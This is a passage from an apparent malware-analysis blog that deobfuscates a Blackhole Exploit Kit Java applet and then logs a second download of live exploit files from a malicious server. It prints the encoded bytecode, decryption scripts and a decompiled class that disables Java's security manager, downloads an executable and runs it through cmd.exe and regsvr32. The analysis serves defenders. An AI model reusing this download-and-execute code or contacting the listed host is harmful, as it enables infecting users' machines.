test2_str7 = "Q(^((%^(-((%%((%8(^((%-(-((gF((%r(^((%F(Q((%z(-((g{((%0(-((%"
test2_str8 = "b((%A(-((g{((Q((-((%b((Q2(-((g{((Q2(-((Qg((Q}(Q((Q0(^(("
test2_str9 = "Q{(^((Q%(^((QQ(^((Q^(-((Qg((Q8(-(({Q((Q-(Q((Qr(Q((QF(2"
test2_str10 = "(((2%2(2((2g0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((%}F"
test2_str11 = "%8%b%8Q0}b(2((2{g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%"
test2_str12 = "b%Q}rg8{%(2(((00}%A%0%{(2(((A0F%8%b%{0bQ{%z%g%{Qg{"
test2_str13 = "0%2%g%F%{(2(((z{}Q0%2%}%r0z%2Q({0%2%g%F%{(Q((Qr(Q(("
test2_str14 = "Q0(Q(({%(2(((}QgQ{%b(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA0A%g%"
test2_str15 = "-%{%}Q0}r(Q(({8(Q((%}(Q((Qz(Q((Qb(Q((%z(Q((QA(Q((^((2(((-0"
test2_str16 = "{Q^%}%{Q(Q0%8%A%bQ}(2(((-{}%AQ{Qg%"

impossible_str17 = gouerpyftn(test2_str1 + test2_str2 + test2_str3 + test2_str4 + test2_str5 + test2_str6 + test2_str7 + test2_str8 + test2_str9 + test2_str10 + test2_str11 + test2_str12 + test2_str13 + test2_str14 + test2_str15 + test2_str16)

impossible_str27 = "}%{0%%8%F%{(2(((F%-%2Q%%2{gQ{%bgb%-%2Q%%"
impossible_str28 = "2(F((}Q((^2(F((}{((}%(2((2Agz%A%}2gQr}0%rQ%(%gQgbQ-%F{z20g"
impossible_str29 = "0%zQ(F(^(g%(0%2Qr(QgQg^%gQ82%gQ(F((^g((^}(2(((Fg}%20{(2}F}"
impossible_str30 = "2%QQ82%}ggg%-(2(((A%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}("
impossible_str31 = "2((gQgz%A%}2gQr}0%rQ%(%gQgbQ-%F{z({}{%Q%}2-}8gg%8Q(2Q2"
impossible_str32 = "(}A%zQ((}g2gb%2Qr}g}%}}%QQ-2z(F((^0((^{(2("
impossible_str33 = "(2(%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0(Q((^%(F((^Q((^^("
impossible_str34 = "2((2}%-%2Q%%2gA%F%2%b%QgA0{Q^%}%{Q(Q0%8%A%"
impossible_str35 = "b(Q((^8(F((^-((^r(2((2(%-%2Q%%2gAQ{Q0%8%FgA{g%2%b%0%A%z"
impossible_str36 = "(F((^F((^z(2((2Q%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q"
impossible_str37 = "0gQ{%8%F%0%{Qg(F((^b((^A(2(((0%8%r%z2%(F(("
impossible_str38 = "^b((8((F((82((8g(2(((8}gQzQ((2QrgA%2Q^2%(F((8"
impossible_str39 = "}((80(2(((2gA(2(((F%-%2Q%%2gA%b%{Q0gA{{{g"
impossible_str40 = "0F(F((}Q((}^(F((8{((8%(Q((Qz(F((8Q((8^(2((20(0%2Qr(Q}(g8Q-}^"
impossible_str41 = "}Q}F}0QbQ-F(^(}F}}%QQ-2z(F((88((80(2(((0%8Q-Q^(}(F("
impossible_str42 = "(8-((8r(2(((0%8%-Q82A(2((2^%-%2Q%%2gA%8%AgA0%%8%F%{0A"
impossible_str43 = "Q{Q0Q(Q{Q0{}Q0Qg%{%2%z(Q((Qb(F((8F((8z(F((8b(("
impossible_str44 = "8A(F((-(((^2(Q((^((F((-2((-g(2((2(%-%2Q%%"
impossible_str45 = "2gA%F%2%b%QgA{}Q0Qg%8%b%Q(2(((Qg0%}Q2{z}(}A%r"
impossible_str46 = "(2(((g%^0z(2(((8}{%rQgF(^(g}}{}zgQ(2(((g%-Qz(F((-}((-"
impossible_str47 = "0(F((-{((-%(2(((Q%-%2Q%%2{gQ{%b(2((gQ%-%2Q"
impossible_str48 = "%%2gAQ}%{%}Q{Qg%8Q0Q8gA{(Qg%8Q%%8%F%{%Q%{"
impossible_str49 = "{Q^%}%{Q(Q0%8%A%b02%}Q0%8%A%b(2((2%%-%2Q%%2gA%b%{Q0"
impossible_str50 = "gA{{{g0F0}%A%b%b%{%}Q0%8%A%b(2((2}%-%2Q%%2"

test_str114 = gouerpyftn(impossible_str27 + impossible_str28 + impossible_str29 + impossible_str30 + impossible_str31 + impossible_str32 + impossible_str33 + impossible_str34 + impossible_str35 + impossible_str36 + impossible_str37 + impossible_str38 + impossible_str39 + impossible_str40 + impossible_str41 + impossible_str42 + impossible_str43 + impossible_str44 + impossible_str45 + impossible_str46 + impossible_str47 + impossible_str48 + impossible_str49 + impossible_str50)

impossible_str54 = "gA%8%AgA08%bQ(Q{Q0{}Q0Qg%{%2%z(2(((g{r0g(2((22%-%2"
impossible_str55 = "Q%%2gA%F%2%b%QgA{gQ{%bQ0%8%z%{(2(((}g^g8{%(2"
impossible_str56 = "(((Q%%%AQg0b%2%z%{(2((g{g^0F%-%2Q%%2gA%F%2%b%Qg"
impossible_str57 = "A{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}r(2(((8%"
impossible_str58 = "Q%{Q00z%{Q0%^%A%0(2((0(g^0F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str59 = "}Q0Qg%8%b%Q}r{r0F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}"
impossible_str60 = "rg80F%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%{Q0%^%A%0"
impossible_str61 = "}r(2((2^%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%"
impossible_str62 = "{Q0%^%A%0(2(((%%8%bQ%%A%r%{(2((}8g^0F%-%2Q%%2g"
impossible_str63 = "A%F%2%b%QgA0A%g%-%{%}Q0}r{r0F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q"
impossible_str64 = "0}rg80F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0}r("
impossible_str65 = "2((2(%-%2Q%%2gA%F%2%b%QgA{}Q8Q}Q0%{%z(2((2gQ}%"
impossible_str66 = "{Q0{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg(2((2bg^0F%-%2Q%%2gA%F%2%b%"
impossible_str67 = "QgA{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg}rg8{%(2(((Q%b%{Q^Q008%bQ"
impossible_str68 = "0(2(((0g^08g808(2(((%%2Q(Q(%{%b%0(2((2Fg^08g80F%-%2Q%%2g"
impossible_str69 = "A%F%2%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2((gzg^0F%-%2Q"
impossible_str70 = "%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2"
impossible_str71 = "%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2(((^Q0%A{}Q0Q"
impossible_str72 = "g%8%b%Q(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str73 = "}Q0Qg%8%b%Q}r(2(((r%Q%{Q0{(Qg%AQ(%{QgQ0Q"
impossible_str74 = "8(2((g%g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b"
impossible_str75 = "%Q}rg80F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((b%A"
impossible_str76 = "Q(%{%b0}%A%b%b%{%}Q0%8%A%b(2((2-g^g80F%-%2Q"
impossible_str77 = "%%2gA%b%{Q0gA{{{g"

test_str116 = gouerpyftn(impossible_str54 + impossible_str55 + impossible_str56 + impossible_str57 + impossible_str58 + impossible_str59 + impossible_str60 + impossible_str61 + impossible_str62 + impossible_str63 + impossible_str64 + impossible_str65 + impossible_str66 + impossible_str67 + impossible_str68 + impossible_str69 + impossible_str70 + impossible_str71 + impossible_str72 + impossible_str73 + impossible_str74 + impossible_str75 + impossible_str76 + impossible_str77)

impossible_str78 = "4C436F6E6E656374696F6E3B01000E676574496E707574"
impossible_str79 = "53747265616D01001728294C6A6176612F696F2F496E707574537472656"
impossible_str80 = "16D3B01000E6765744865616465724669656C6401000769"
impossible_str81 = "6E6465784F66010015284C6A6176612F6C616E672F537472696E67"
impossible_str82 = "3B294901000472656164010007285B42494929490100"
impossible_str83 = "057772697465010007285B4249492956010005636C6F736501000A6"
impossible_str84 = "7657452756E74696D6501001528294C6A6176612F6C616E672F5"
impossible_str85 = "2756E74696D653B01000465786563010028285B4C6A61766"
impossible_str86 = "12F6C616E672F537472696E673B294C6A6176612F6C616"
impossible_str87 = "E672F50726F636573733B010004657869740100042849295"
impossible_str88 = "60100095A4B4D352E342E3561010001620100015A01000163"
impossible_str89 = "0C00AA00A909003300AB0100017A0100135B4C6A6176612F6C616E672F53"
impossible_str90 = "7472696E673B0100083C636C696E69743E0C00B100B201000B7"
impossible_str91 = "46F43686172417272617901000428295B430A002C0"
impossible_str92 = "0B00C003700B5010005285B4329560A002C00B40C0"
impossible_str93 = "0B80092010006696E7465726E0A002C00B70C00AD00AE0900"
impossible_str94 = "3300BA0700BD0100146A6176612F696F2F53657269616C697A6162"

test_str95 = "6C650700AE0700AE0700AE0700AE0700AE0700AE0700AE0"
test_str96 = "700AE0700AE0700AE0700AE0700AE0700AE0700AE070"
test_str97 = "0AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE07"
test_str98 = "00AE0700AE0700AE0700AE0700AE0700DB0100025B430700AE0700AE070"
test_str99 = "0DB0700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0"
test_str100 = "700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700D"
test_str101 = "B0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700DB0700"
test_str102 = "AE0700AE0700DB002100330009000100340004000"
test_str103 = "0003500360000000900A800A90000000900AA00A900000"
test_str104 = "01A00AD00AE00000003000100370038000100390000008A00070003"
test_str105 = "000000412AB700012A2BB50002B200BB0332B80004B200BB053204BD0006"
test_str106 = "5903B200BB0432B8000453B60008B200BB0332B8000404"
test_str107 = "BD000959032A53B6000A57A700044DB100010009003C003F0"
test_str108 = "00B0002003A000000160005000000250004000E00090"
test_str109 = "00B003C002700400006003B000000130002FF003F0002070033070"
test_str110 = "02C000107000B000001003F0040000200390000047"
test_str111 = "30008001100000223B200AC361001B8000CBB000D59B7000E4C"
test_str112 = "120F2B1210B60011603D"

test_str119 = impossible_str78 + impossible_str79 + impossible_str80 + impossible_str81 + impossible_str82 + impossible_str83 + impossible_str84 + impossible_str85 + impossible_str86 + impossible_str87 + impossible_str88 + impossible_str89 + impossible_str90 + impossible_str91 + impossible_str92 + impossible_str93 + impossible_str94 + test_str95 + test_str96 + test_str97 + test_str98 + test_str99 + test_str100 + test_str101 + test_str102 + test_str103 + test_str104 + test_str105 + test_str106 + test_str107 + test_str108 + test_str109 + test_str110 + test_str111 + test_str112

asd_str122 = "ZZ001259Z700131CZ60014Z200ZZ100632Z60016Z600174EZZ001259Z70013Z200ZZ0732Z80019Z60016121AZ60016Z600173A04ZZ001259Z700132AZ40002Z6001ZZ600161CZ60014Z600173A05ZZ001C591905Z7001D3A061906Z6001E3A071907Z6001F3A080336091907Z200ZZ100A32Z600213A0A190A15109A000CC60058A70004ZF190AZ200ZZ100932Z6002315109A002Z02A00022A70004ZF190AZ200ZZ0632Z6002315109A0014A70004ZF029F0025A70004ZF04A70004ZF3609ZZ001259Z700131CZ60014Z200ZZ0632Z60016Z600174EZZ002559ZZ001259Z700131904Z600162DZ60016Z".replace("Z", "B")
asd_str123 = "60017B700263A0B110400BC083A0D1C360E1908190D03190DBEB6002759360C029F005115109A005603360F150F150CA20033150E1100AA601100FF7E360E150E104882360E190D150F5C33150E91829154840F0115109A0016151099FFD0A70004BF190B190D03150CB60028151099FFA31908B60029190BB6002AB8002B3A0F15109A00531509990053A70004BF190F08BD002C5903B200BB100732535904B200BB0832535905B200BB100B32535906B200BB100832535907BB001259B700131904B600162DB60016B6001753B6003157A70004BF1510990038190F06BD002C5903B200BB100732535904B200BB0832535905BB001259B700131904B600162DB60016B6001753B6003157A70004BF03B80032A700084C03B8003201B0000A01DB02110214000B018D01D701DA000B018601900193000B014B01640167000B00CC00D400D7000B00BA00CF00D2000B00B100C700CA000B00A200B400B7000B0092009C009F000B00050219021C000B0002003A0000009200240005001A0009002800110016001B001100330005004F00120069001800740010007B0013008200150085000F0092001E00A0002600D3001B00DA002400F10022010D000A0"
asd_str124 = "114001401170004012900170138000C0144001D014B0021015700290168002001770019017C00090181001C0186001F0194000D01E000010215000302190002021C0007021D000802210023003B00000156001CFF009F001107003307000D0107002C07002C07002C07001C0700430700440107002C000000000001000107000B004107002C5407000B005107000B40014607000B004307000B400118FF0025001107003307000D0107002C07002C07002C07001C0700430700440107002C070025000700460100010000FF0019001107003307000D0107002C07002C07002C07001C0700430700440107002C0700250107004601010100007507000B0009FF0004001107003307000D0107002C07002C07002C07001C0700430700440107002C07002501070046010001000009FF0011001107003307000D0107002C07002C07002C07001C0700430700440107002C070025010700460107004701000107000B00F7004507000B00047307000B00FF0006001107003300000000000000000000000000000001000107000BFF000400110700330700BC00000000000000000000000000000100000048000000040001000B000800AF00810001003900000305000C00010000012D100CBD002C5903120310FFA70078535904120703A7006F535905120504A70066535906122405A7005D535907121806A70054535908122E07A7004B53591006121508A7004153591007122D1006A700365359100812301007A7002B5359100912221008A700205359100A12201009A700155359100B122F100AA7000A53B300BBA700AC5FB600B359BE5F033B5F5A04A3004F591A5C341A0870AA00000000003300000000000000030000001F00000024000000290000002E1047A70014100EA7000F1015A7000A1073A7000510558292558400015F5A9A00085C5FA7FFB95F5A1AA3FFB1BB002C5A5FB700B6B600B95F575FAA00FFFFFF1C000000000000000AFFFFFF25FFFFFF2EFFFFFF37FFFFFF40FFFFFF49FFFFFF53FFFFFF5EFFFFFF69FFFFFF74FFFFFF7FFFFFFF8AB100000001003B000001C60017FF000E00010100040700BE0700BF0107002CFF000800010100040700C00700C10107002CFF000800010100040700C20700C30107002CFF000800010100040700C40700C50107002CFF000800010100040700C60700C70107002CFF000800010100040700C80700C90107002CFF000900010100040700CA0700CB0107002CFF000A00010100040700CC0700CD0107002CFF000A00010100040700CE0700CF0107002CFF000A00010100040700D00700D10107002CFF000A00010100040700D20700D30107002CFF000A00010100040700D40700D50107002CFF0006000000050700D60700D70107002C01FF000E00010100060700D80700D90101010700DAFF000100010100080700DC0700DD0101010700DE0700DF01FF002300010100090700E00700E10101010700E20700E30101FF000400010100090700E40700E50101010700E60700E70101FF000400010100090700E80700E90101010700EA0700EB0101FF000400010100090700EC0700ED0101010700EE0700EF0101FF000400010100090700F0"
asd_str125 = "0700F10101010700F20700F30101FF0001000101000A0700F40700F50101010700F60700F7010101FF000F00010100060700F80700F90101010700FAFB004D0001004900000002004A"


codehex_aa = "(?i).j";
asd_zxc = "xe"
asd_zxc2 = ".e"

#hw_str12 = aaz().replace("?jar", ".exe") + "?"

def main():
  abyte0 = decodeH(one())
  print abyte0

if __name__ == "__main__":
    main()


Run the script and it will print Java Bytecode for the class the Bad Guys want to run on your system(Thrugh the exploitation of the MBeanInstantiator bug they can now call restricted classes)
redirect the output to a .class file. e.g.

$python decode_blachole.py > bhclass.class


Ok so where are we at? Well at this time we are probably hungry, so open a tin of SPAM, enjoy and move on.

5. Back to Java disassembly again

The bytecode needs to be disassembled so back to jad or showmycode.com. And we get the output:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(z[0]).getMethod(z[2], new Class[] {
                Class.forName(z[1])
            }).invoke(Class.forName(z[0]), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(z[6]).toString();
        s1 = (new StringBuilder()).append(System.getProperty(z[4])).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField(z[10]);
        s3;
        if(flag) goto _L2; else goto _L1
_L1:
        if(s3 == null)
            break MISSING_BLOCK_LABEL_241;
          goto _L3
        throw ;
_L3:
        s3;
_L2:
        z[9];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        -1;
        JVM INSTR icmpne 211;
           goto _L4 _L5
_L4:
        break MISSING_BLOCK_LABEL_184;
_L5:
        break MISSING_BLOCK_LABEL_211;
        throw ;
        s3;
        z[3];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        break MISSING_BLOCK_LABEL_203;
        throw ;
        -1;
        JVM INSTR icmpeq 241;
           goto _L6 _L7
_L6:
        break MISSING_BLOCK_LABEL_211;
_L7:
        break MISSING_BLOCK_LABEL_241;
        throw ;
        throw ;
        j = 1;
        s = (new StringBuilder()).append(i).append(z[3]).toString();
        FileOutputStream fileoutputstream;
        byte abyte0[];
        int l;
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
_L11:
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)
            break; /* Loop/switch isn't completed */
        if(flag)
            break MISSING_BLOCK_LABEL_385;
        i1 = 0;
_L9:
        if(i1 >= k)
            break; /* Loop/switch isn't completed */
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        if(flag)
            continue; /* Loop/switch isn't completed */
        if(!flag) goto _L9; else goto _L8
        throw ;
_L8:
        fileoutputstream.write(abyte0, 0, k);
        if(!flag) goto _L11; else goto _L10
_L10:
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        if(flag)
            break MISSING_BLOCK_LABEL_475;
        j;
        JVM INSTR ifeq 480;
           goto _L12 _L13
_L12:
        break MISSING_BLOCK_LABEL_404;
_L13:
        break MISSING_BLOCK_LABEL_480;
        throw ;
        runtime.exec(new String[] {
            z[7], z[5], z[11], z[8], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_475;
        throw ;
        if(!flag)
            break MISSING_BLOCK_LABEL_533;
        runtime.exec(new String[] {
            z[7], z[5], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_533;
        throw ;
        System.exit(0);
        break MISSING_BLOCK_LABEL_545;
        Exception exception;
        exception;
        System.exit(0);
        return null;
    }

    String a;
    public static boolean b;
    public static boolean c;
    private static final String z[];

    static 
    {
        String as[] = new String[12];
        as;
        as;
        0;
        "-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'";
        -1;
          goto _L1
_L7:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        true;
        "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035";
        false;
          goto _L1
_L8:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        2;
        "#aE\001<1gy\0262\"j";
        true;
          goto _L1
_L9:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        3;
        "ijy\037";
        2;
          goto _L1
_L10:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        4;
        "2}p\001{/ax\026";
        3;
          goto _L1
_L11:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        5;
        "hM";
        4;
          goto _L1
_L12:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        6;
        "ikm\026";
        5;
          goto _L1
_L13:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        7;
        "$cq]0?k";
        6;
          goto _L1
_L14:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        8;
        "j}";
        7;
          goto _L1
_L15:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        9;
        "izx\003";
        8;
          goto _L1
_L16:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        10;
        "\004a{\0070)z87<4~z\000<3gz\035";
        9;
          goto _L1
_L17:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        11;
        "5kr\000#5='";
        10;
          goto _L1
_L18:
        JVM INSTR aastore ;
        z;
_L1:
        JVM INSTR swap ;
        toCharArray();
        JVM INSTR dup ;
        JVM INSTR arraylength .length;
        JVM INSTR swap ;
        int i = 0;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        1;
        JVM INSTR icmpgt 222;
           goto _L2 _L3
_L2:
        JVM INSTR dup ;
        i;
_L5:
        JVM INSTR dup2 ;
        JVM INSTR caload ;
        byte byte0;
        switch(i % 5)
        {
        case 0: // '\0'
            byte0 = 0x47;
            break;

        case 1: // '\001'
            byte0 = 14;
            break;

        case 2: // '\002'
            byte0 = 21;
            break;

        case 3: // '\003'
            byte0 = 115;
            break;

        default:
            byte0 = 85;
            break;
        }
        byte0;
        JVM INSTR ixor ;
        (char);
        JVM INSTR castore ;
        i++;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        JVM INSTR ifne 222;
           goto _L4 _L3
_L4:
        JVM INSTR dup2 ;
        JVM INSTR swap ;
          goto _L5
_L3:
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        i;
        JVM INSTR icmpgt 146;
           goto _L6 _L2
_L6:
        JVM INSTR new #44  <Class String>;
        JVM INSTR dup_x1 ;
        JVM INSTR swap ;
        String();
        intern();
        JVM INSTR swap ;
        JVM INSTR pop ;
        JVM INSTR swap ;
        JVM INSTR tableswitch 0 10: default 14
    //                   0 23
    //                   1 32
    //                   2 41
    //                   3 50
    //                   4 59
    //                   5 69
    //                   6 80
    //                   7 91
    //                   8 102
    //                   9 113
    //                   10 124;
           goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L16 _L17 _L18
    }
}

Crap!!! what is this all about. This should be a happy ending where we had a nice and shiny class file disassembled but instead this code really got me wondering. I'm no Java Ken Guru, but this one beat me up. Luckily there is a lot of people knowing more than me about this and I found a great post about what this was here @ Security Obscurity Blog and even more @ The PlayGround.dk,

6. Introducing the Zelix Klassmaster 

 - Or what I would call it: "The Spanish Inquisition" youtube


So more work to do: I justed followed Mr. Larsens guide and came up with, well a Python script to decrypt The Spanish Inquisition, eh, Zelix Klassmaster encrypted strings:
#malforsec decrypt Spannish Inquisition encrypted strings 0.9.1
def decode(str1):
  decrstr = ""
  key = [71, 14, 21, 115, 85]
  for i in range(0, len(str1), 1):
    decrstr += chr((ord(str1[i])) ^ (key[i % 5]))
  return decrstr

encstr = ["-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'",
          "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035",
          "#aE\001<1gy\0262\"j",
          "ijy\037",
          "2}p\001{/ax\026",
          "hM",
          "ikm\026",
          "$cq]0?k",
          "j}",
          "izx\003",
          "\004a{\0070)z87<4~z\000<3gz\035",
          "5kr\000#5='"]

def main():
  for i in range(0, len(encstr), 1):
    print decode(encstr[i])

if __name__ == "__main__":
    main()

So lets run the script and voila:

java.security.AccessController
java.security.PrivilegedExceptionAction
doPrivileged
.dll
user.home
/C
.exe
cmd.exe
-s
.tmp
Content-Disposition
regsvr32

7. Back to the Applet code hw.class:

Line 47:

String str12 = d.get(this);
str12 = (new StringBuilder(String.valueOf(Asd.aaz().replaceAll((new StringBuilder(String.valueOf(codehex.aa))).append("ar").toString(), (new StringBuilder(String.valueOf(Asd.zxc2))).append(Asd.zxc).toString())))).append("?").toString();
        }
        return str12;
    }
codehex strings:
public static String aa = "(?i).j";
Asd strings:
public static String zxc = "xe";
public static String zxc2 = ".e";
Asd.aaz():
public static String aaz()
        throws Exception
    {
        Class cc = hw;
        String classFilename = "hw.class";
        String urlToJar = cc.getResource(classFilename).toString();
        Method m = java/lang/String.getMethod("replaceAll", new Class[] {
            java/lang/String, java/lang/String
        });
        urlToJar = (String)m.invoke(urlToJar, new Object[] {
            "jar:", ""
        });
        urlToJar = urlToJar.replaceAll("!/hw.class", "");
        return urlToJar;
    }


This method, to me, looks like it is finding the URL or place that the hw.class/ jar was loaded. Replaceing hw.class with nothing nad jar with exe. In short we get the URL to the exe file, which is fed into the class we discussed above.

With the deobfuscation of the class files and decrypted strings we can see what the final class does:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(java.security.AccessController).getMethod(doPrivileged, new Class[] {
                Class.forName(java.security.PrivilegedExceptionAction)
            }).invoke(Class.forName(java.security.AccessController), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(".exe").toString();
        s1 = (new StringBuilder()).append(System.getProperty("user.home")).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField("Content-Disposition");
                s = (new StringBuilder()).append(i).append(".dll").toString();
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)   
        i1 = 0;
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        fileoutputstream.write(abyte0, 0, k);
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        runtime.exec(new String[] {
            "cmd.exe", "/C", "regsvr32", "-s", (new StringBuilder()).append(s1).append(s).toString()
        });
        runtime.exec(new String[] {
            "cmd.exe", "/C", (new StringBuilder()).append(s1).append(s).toString()
        });
        return null;
    }

8. The End

My conclusion is that the exe is loaded from the same URL base as the JAR archive was loaded from. Its written to disk under user.home. It registrers a service silently(cmd.exe /C regsrv32 -S) and executes the exe file(cmd.exe /C )

I'm not sure if the XOR of the one byte of abyte0 is used in the code. Hopefully I can confirm that the next time I download a BHEK2 JAR archive. 


Feedback are welcome! So please enlighten me on any misinterpretation. You are of course welcome to use any Python code should it interset you.



Happy BHEK2 JAR archives deobfuscation :)

Saturday, March 2, 2013

Yet another BlackHole Exploit Kit adventure


I just thought that I should check that my "BHEK analyzis made easy" guide worked out fine, so I took a beer from the fridge and went over to URLquery and fetched a possible blackhole URL.

http://urlquery.net/report.php?id=1215790

See here for the guide: http://malforsec.blogspot.no/2013/03/analyzing-bhek2-made-easy_1.html

So here is what I got:


--2013-03-02 22:03:06--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 22:50:26 GMT
  Server: nginx/0.7.65
  Content-Type: application/java-archive
  X-Powered-By: PHP/5.3.2
  Content-Length: 22404
  ETag: "29a92c3eedd77110bc1dc12948eb909c"
  Last-Modified: Sat, 02 Mar 2013 19:54:44 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 22404 (22K) [application/java-archive]
Saving to: `q.php'

     0K .......... .......... .                               100%  230K=0.1s


2013-03-02 22:03:07 (230 KB/s) - `q.php' saved [22404/22404]

Since I did the mistake of adding Java to my User-agent it threw me a jar file right away. Badass!!

I dropped the Java part of the User-agent and got, as expected, the plugin detect


--2013-03-02 22:04:03--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 22:51:23 GMT
  Server: nginx/0.7.65
  Content-Type: text/html
  X-Powered-By: PHP/5.3.2
  Connection: close
Length: unspecified [text/html]
Saving to: `q2.php'

     0K .......... .......... .......... .......... ..........  430K
    50K .......... .......... .......... .......... ..........  686K
   100K .......... ...                                          388K=0.2s

2013-03-02 22:04:04 (508 KB/s) - `q2.php' saved [115742]

Exactly as shown in the guide :)
Wepawt did the job again and I could just fetch the BAD files:
Should get 2-3 PDF's, 1-2 SWF's and a couple of JAR's.

-
--2013-03-02 22:26:31--  hxxp://80.248.238.15/231a51bb54657c855360782e728bbf6d/q.php?xjnnfg=32:1h:1l:1l:1j&yglzthqd=33:3l:3n&cmjxuoea=1g:1n:32:33:1n:1n:1n:2v:31:1o&mccehrt=1g:1f:1d:1g:1f:1h
Connecting to 80.248.238.15:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Date: Sat, 02 Mar 2013 23:13:54 GMT
  Server: nginx/0.7.65
  Content-Type: application/pdf
  X-Powered-By: PHP/5.3.2
  Content-Length: 20389
  ETag: "30beb650b5909878feedccd4f8700607"
  Last-Modified: Sat, 02 Mar 2013 20:18:13 GMT
  Accept-Ranges: bytes
  Connection: close
Length: 20389 (20K) [application/pdf]
Saving to: `p1.pdf'

     0K .......... .........                                  100%  203K=0.1s

